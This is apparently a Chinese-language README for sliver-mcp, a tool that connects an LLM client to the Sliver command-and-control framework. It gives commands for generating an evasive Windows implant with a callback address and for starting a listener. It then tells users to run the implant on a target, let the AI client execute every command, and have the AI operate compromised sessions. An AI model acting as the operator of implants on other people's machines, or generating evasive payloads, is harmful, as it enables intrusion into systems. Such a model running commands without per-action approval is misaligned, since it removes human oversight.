内容
sliver-mcp
Sliver-MCP 是一个适用于 Sliver Server 的 MCP 服务器,它实现了一个多人客户端,并调整为与 MCP-Go 一起使用。其功能已在 `v1.5.43` 版本中经过测试。
## 从源代码编译
```
go build -v .
```
## 使用方法
1. 在 Sliver 中启用多人选项:`sliver > multiplayer`
2. 为 MCP 服务器生成配置文件:`sliver > new-operator --name mcp --save /path/to/config/mcp-sliver.cfg --lhost 192.168.3.4`
3. 通过 LM Studio/Claude 桌面版/任何其他支持 MCP 服务器的 LLM 客户端,连接到正在运行的远程 MCP 服务器。连接后启用它,并允许执行所有命令。示例 JSON 配置:
```
"sliver_mcp": {
"command": "/path/to/compiled/binary",
"args": [
"-operator-config",
"/path/to/sliver/multiplayer.cfg",
"-lhost",
"0.0.0.0",
"-lport",
"11337"
]
}
```
4. 生成有效载荷并启动监听器。
```
sliver > generate --http 192.168.1.2:34443 --evasion --os windows --format exe
sliver > http --lhost 192.168.3.4 --lport 34443
```
5. 将植入物传输到目标主机并执行。
6. 请求 LLM 执行几乎任何操作,例如 `show sessions, pick the first one, cd to root, run ls and then change name of the current session to pwnz_by_ai`.
---
## 待办事项:
- stdio 传输
- HTTP 传输的身份验证/授权
- 异步方式发送/检索信标任务
## 已跳过功能:
- Armory、crackstations、cursed、shell、websites、Windows 特定功能(执行程序集/ shellcode/侧载),以及其他一些功能(fs:上传/下载/cat、loot、截图、生成有效载荷)。要么是我懒得研究这些,要么它们不适合通过 LLM 进行交互。
- 大多数信标异步命令和功能, 与信标相关。在当前阶段,此 PoC 仅关注与交互式会话的交互。
- Portfwd、反向 portfwd、socks。我对它们没有太多经验,看起来截至 `v1.5.43` 版本,它们的行为并不总是如预期。
## 参考链接
https://github.com/mark3labs/mcp-go
https://github.com/BishopFox/sliver/tree/v1.5.x/master
https://sliver.sh/docs?name=Custom%20Clients